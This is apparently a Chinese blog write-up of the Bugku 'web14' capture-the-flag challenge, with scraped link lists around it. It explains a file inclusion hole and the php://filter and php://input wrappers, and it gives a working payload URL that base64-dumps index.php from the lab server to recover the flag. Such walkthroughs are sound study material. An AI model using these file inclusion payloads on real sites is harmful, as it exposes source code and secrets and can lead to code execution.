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“ bugku-web14解题思路记录。”

题目：click me? no

01—找线索

https://blog.csdn.net/qq_22597955
https://blog.csdn.net/qq_22597955/category_11134518.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_22597955/article/details/117907844
https://blog.csdn.net/qq_22597955/category_11134518.html
http://114.67.246.176:19952/index.php?file=show.php


点击click me? no显示index.php,URL为http://114.67.246.176:19952/index.php?file=show.php，可能存在文件包
含漏洞。

CTF中经常使用的是php://filter和php://input

php://filter用于读取源码

php://input用于执行php代码

php://filter/read=convert.base64-encode/resource=[文件名]
用于读取文件源码（针对php文件需要base64编码）

其中convert.base64-encode & convert.base64-decode

等同于base64_encode()和base64_decode()，base64编码&解码  

resource=<要过滤的数据流>

2—构造payload

构造payload：

http://114.67.246.176:19952/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到base64编码之后的源码：

解码得到flag。

http://114.67.246.176:19952/index.php?file=show.php
http://114.67.246.176:19952/index.php?file=show.php
http://114.67.246.176:19952/index.php?file=php://filter/read=convert.base64-encode/resource=index.php


php很重要!
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